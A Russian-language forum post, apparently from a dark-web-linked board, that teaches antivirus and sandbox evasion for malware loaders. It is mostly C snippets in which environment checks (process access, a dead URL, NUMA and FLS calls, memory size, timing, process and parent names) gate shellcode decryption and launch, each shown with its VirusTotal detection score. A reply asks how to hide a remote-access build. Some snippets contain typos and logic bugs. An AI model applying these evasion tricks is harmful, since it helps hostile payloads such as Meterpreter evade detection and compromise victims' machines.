Обход антивирусов, антиэмуляция. Часть III

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 983
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
В этой статье мы продолжим рассматривать методы обхода антивирусов.

Метод «Я не должен этого делать!»

Пример 1: Попытка открыть системный процесс

Этот код просто пытается открыть системный процесс с номером 4 со всеми правами, который обычно является системным. Если код не запущен с системой MIC и сессией 0, то эта затея должна провалиться (OpenProcess возвращает 0).

Код:
int main( void )
{
  HANDLE file;
  HANDLE proc;

  proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4);

  if( proc == NULL )
  {
    decryptCodeSection();
    startShellCode();
  }

  return 0;
}
VirusTotal счёт:
11/55

Из-за эвристического анализа, функция OpenProcess была принята за вредоносный backdoor. Этот пример показывает, что окружение при эмуляции, не такое как всегда.

Пример 2: Попытка открыть несуществующий URL

Метод, который часто используется чтобы определить то, что мы в песочнице, - это загрузка определенного файла из Интернета и сравнение его хеша с хешем, оригинальным хешем кода. Почему это работает? Потому что окружение песочницы не даёт потенциальному вредоносному файлу доступ в интернет. Когда проверяемый файл открывает интернет страницу в песочнице, то песочница будет отправлять сгенерированный файл. И поэтому, хеш этого файла не будет совпадать с реальным хешем.

У этого метода есть несколько проблем. Этот никогда не заработает, если у вас нет доступа в интернет. Второе, если проверяемый файл будет изменён или удалён, то код перестанет работать.

Другой метод, который не имеет этих проблем, заключается в том, чтобы попробовать получить доступ к сайту, которого не существует. В эмуляции это выйдет, а в реальном мире нет, потому что песочница/эмуляция вернёт свою сгенерированную страницу.

Код:
#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")

int main( void )
{
  char cononstart[] = "http://www.notdetectmalicouscode.com//"; //Несуществующий URL
  char readbuf[1024];
  HINTERNET httpopen, openurl;
 
  DWORD read;
  httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  openurl = InternetOpenUrl(httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE, NULL);
  if(!openurl)
  {
    InternetCloseHandle(httpopen);
    InternetCloseHandle(openurl);
    decryptCodeSection();
    startShellCode();
  }
  else
  {
    InternetCloseHandle(httpopen);
    InternetCloseHandle(openurl);
  }
}
VirusTotal счёт:
2/55

А тут уже интереснее :). Среди двух результатов, один антивирус считает, что мой загрузчик dropper (эвристические ложные срабатывания). Второй реально нашёл Meterpreter backdoor. Это правда странно. Это означает, что у этих ребят есть действительно умная система или они разрешают соединение в песочнице, которую они используют.

Этот метод может стать вашим врагом, если вы будете использовать этот метод в массовой атаке. Может произойти также как и с WannaCry, когда один программист остановил атаку одним лишь созданием сайта.

Метод «Знай своего врага»

Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).

Пример 1: Действия, которые зависят от локального пользователя

Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.

Код:
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"

int main( void )
{
  HANDLE file;
  DWORD tmp;
  LPCVOID buff = "1234";
  chat outputbuff[5] = {0};
  file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 
  if( WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)
  {
    CloseHandle(file);
    file = CreateFile(FILE_PATH,
                          GENERIC_READ,
                          FILE_SHARE_READ,
                          NULL,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);
    if(ReadFile(file, outputbuff, 4, &tmp, NULL))
    {
      if(strncmp(buff, outputbuff, 4) == 0)
      {
        decryptCodeSection();
        startShellCode();
      }
    }
    CloseHandle(file);
  }
  DeleteFile(FILE_PATH);

  return 0;
}
VirusTotal счёт:
0/55

У антивирусов не выйдет записать и прочитать из файла, поэтому этот метод работает до сих пор.

Метод «WTF is that?»

Функций Windows API так много, что системы эмуляции не охватывают их всех.

Пример 1: Что за чёртов NUMA?

NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

Этот код будет работать на ПК, но не будет работать в эмуляции.

Код:
int main( void )
{
  LPVOID mem = NULL;
  mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_REVERSE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
  if( mem != NULL )
  {
    decryptCodeSection();
    startShellCode();
  }
  return 0;
}
VirusTotal счёт:
0/55

Пример 2: Что за чёртов FLS?

FLS это Fiber Local Storage, используется чтобы манипулировать данными через волокна. Узнать об этом больше вы можете
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

Интересно, то что некоторые эмуляторы будут всегда возвращать FLS_OUT_OF_INDEXES для функции FlsAlloc.

Код:
int main( void )
{
  DWORD result = FlsAlloc(NULL);
  if( result != FLS_OUT_OF_INDEXES)
  {
    decryptCodeSection();
    startShellCode();
  }
  return 0;
}
VirusTotal счёт:
8/55

Метод «Проверяем окружение»

Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.

Пример 1: Проверяем память процесса

Используя системные инструменты, я обнаружил, что когда антивирус сканирует процесс, это влияет на его память. Антивирус будет выделять память для этого, также API процесс эмулируемого кода будет возвращать не те значения, что ожидались. В текущем процессе я буду использовать GetProcessMemoryInfo. Если этот текущий рабочий сет превышает 3 500 000 байт, я считаю, что код работает в антивирусном окружении, а если это не так, то код расшифровывается и запускается.

Код:
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")

int main( void )
{
  PROCESS_MEMORY_COUNTERS pmc;
  GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
  if( pmc.WorkingSetSize<=350000 )
  {
    decryptCodeSection();
    startShellCode();
  }
  return 0;
}
VirusTotal счёт:
1/55

Пример 2: Искажение времени

Мы знаем что функция Sleep эмулируется антивирусом. Это делается для того, чтобы избежать обхода антивируса простым вызовом Sleep. Вопрос в том, есть ли толк в Sleep, который эмулируется?

Код:
#include <time.h>
#pragma comment( lib, "winmm.lib" )

int main( void )
{
  DWORD mesure1;
  DWORD mesure2;

  mesure1 = timeGetTime();
  Sleep(1000);
  if(( mesure2 > ( mesure1 + 1000 ) && ( mesure2 <  ( mesure1 + 1005 ))
  {
    decryptCodeSection();
    startShellCode();
  }
 
  return 0;
}
VirusTotal счёт:
8/55

Очень жаль, но некоторые антивирусы уже просекли этот трюк.

Пример 3: Как меня зовут?

Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.

Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.

Код:
int main( int argc, char * argv[] )
{
  if( strstr( argv[0], "test.exe" > 0 ) )
  {
    decryptShellCode();
    startShellCode();
  }
  return 0;
}
VirusTotal счёт:
0/55

Трюк остаётся актуален спустя 4 года.

Метод «Я вызываю себя!»

Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.

Пример 1: Я собственный отец.

В этом примере, исполняемый файл (test.exe) будет входить в фазу расшифровывания, только если его родительский процесс также test.exe.

Код:
#include <TlHelp32.h>
#include <Psapi.h>
#pragma comment( lib, "Psapi.lib" )

int main( void )
{
  int pid = -1;
  HANDLE hProcess;
  HANDLE h = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
  PROCESSENTRY32 pe = { 0 };
  pe.dwSize = sizeof( PROCESSENTRY32 );
 
  pid = GetCurrentProcessID();
 
  if( Process32First( h, &pe )
  {
    do
    {
      if( pe.th32ProcessID == pid )
      {
        hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ParrentProcessID );
        if( hProcess != NULL )
        {
          HMODULE hMod;
          DWORD cbNeeded;
          TCHAR processName[ MAX_PATH ];
          if( EnumProcessModules( hProcess, &hMod, sizeof( &hMod ), &cbNeeded )
          {
            GetModuleBaseName( hProcess, hMod, processName, sizeof( processName )/sizeof( TCHAR ) );
            if( strncmp( processName, "test.exe",  strlen( processName ) == 0 )
            {
              decryptCodeSection();
              startShellCode();
            }
            else
            {
              startExe("test.exe");
              Sleep(1000);
            }
          }
        }
        CloseHandle( hProcess );
      }
    } while ( Process32Next( h, &pe ) );
  }
  CloseHandle( h );
  return 0;
}
VirusTotal счёт:
1/55

Обычно антивирусы не способны следовать за дочерним процессом, а будут сканировать родительский процесс (даже если их код одинаковый).

Заключение

Эти примеры показывают как же легко можно обойти антивирусы, когда вы используете их слабости. Для этого требуется знания о системе Windows и знать как работают антивирусы. Однако, я не говорил, что антивирусы бесполезны. Антивирусы очень полезны, они защищают от миллиона угроз. Также антивирусы очень удобны для восстановления системы. Что я говорил, так это то, что антивирусы могут быть легко одурачены, особенно при целевых атаках.

Могу посоветовать некоторые способы защиты от вредоносного ПО:
  • Никогда не запускайте программу от администратора, если вы не уверены в ней. Это золотое правило поможет защититься от 99% вредоносного ПО, без антивируса. Годами, это правило было главным для пользователей Linux.
  • Охраняйте систему. Обновления Windows имеют много новых обновлений безопасности, используйте их.
  • Используйте IDS и следите за вашей сетью. Большинство атак вредоносного ПО, не были замечены их жертвами. Спасибо NIDS и firewall логам.
Ну, на этом всё. Спасибо за внимание!
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Каким методом можно спрятать RMS билд? Как встроить этот код?
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя